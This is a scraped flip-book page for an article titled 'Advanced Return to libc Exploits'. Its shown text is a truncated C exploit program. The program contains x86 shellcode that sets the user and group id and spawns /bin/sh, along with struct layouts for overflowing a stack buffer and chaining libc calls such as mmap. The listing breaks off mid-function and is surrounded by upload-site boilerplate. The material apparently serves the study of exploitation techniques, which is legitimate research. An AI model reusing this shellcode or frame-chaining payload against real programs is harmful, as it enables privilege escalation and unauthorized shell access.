23.07.2013 Views

Advanced Return to libc Exploits

Advanced Return to libc Exploits

Advanced Return to libc Exploits

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

char hellcode[] =<br />

"\x90"<br />

"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"<br />

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"<br />

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"<br />

"\x80\xe8\xdc\xff\xff\xff/bin/sh";<br />

/* See the comments in ex-move.c */<br />

struct two_arg {<br />

unsigned int new_ebp;<br />

unsigned int func;<br />

unsigned int leave_ret;<br />

unsigned int param1;<br />

unsigned int param2;<br />

};<br />

struct mmap_args {<br />

unsigned int new_ebp;<br />

unsigned int func;<br />

unsigned int leave_ret;<br />

unsigned int start;<br />

unsigned int length;<br />

unsigned int prot;<br />

unsigned int flags;<br />

unsigned int fd;<br />

unsigned int offset;<br />

};<br />

struct ov {<br />

char scratch[24];<br />

unsigned int ebp;<br />

unsigned int eip;<br />

};<br />

struct ourbuf {<br />

struct two_arg zero1;<br />

struct two_arg zero2;<br />

struct mmap_args mymmap;<br />

struct two_arg trans;<br />

char hell[sizeof(hellcode)];<br />

};<br />

#define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))<br />

main(int argc, char **argv)<br />

{<br />

char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1];<br />

char *env[2] = { lg, 0 };<br />

struct ourbuf thebuf;<br />

struct ov theov;<br />

int i;<br />

memset(theov.scratch, 'X', sizeof(theov.scratch));<br />

if (argc == 2 && !strcmp("testing", argv[1])) {<br />

for (i = 0; i < sizeof(theov.scratch); i++)<br />

theov.scratch[i] = i + 0x10;

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!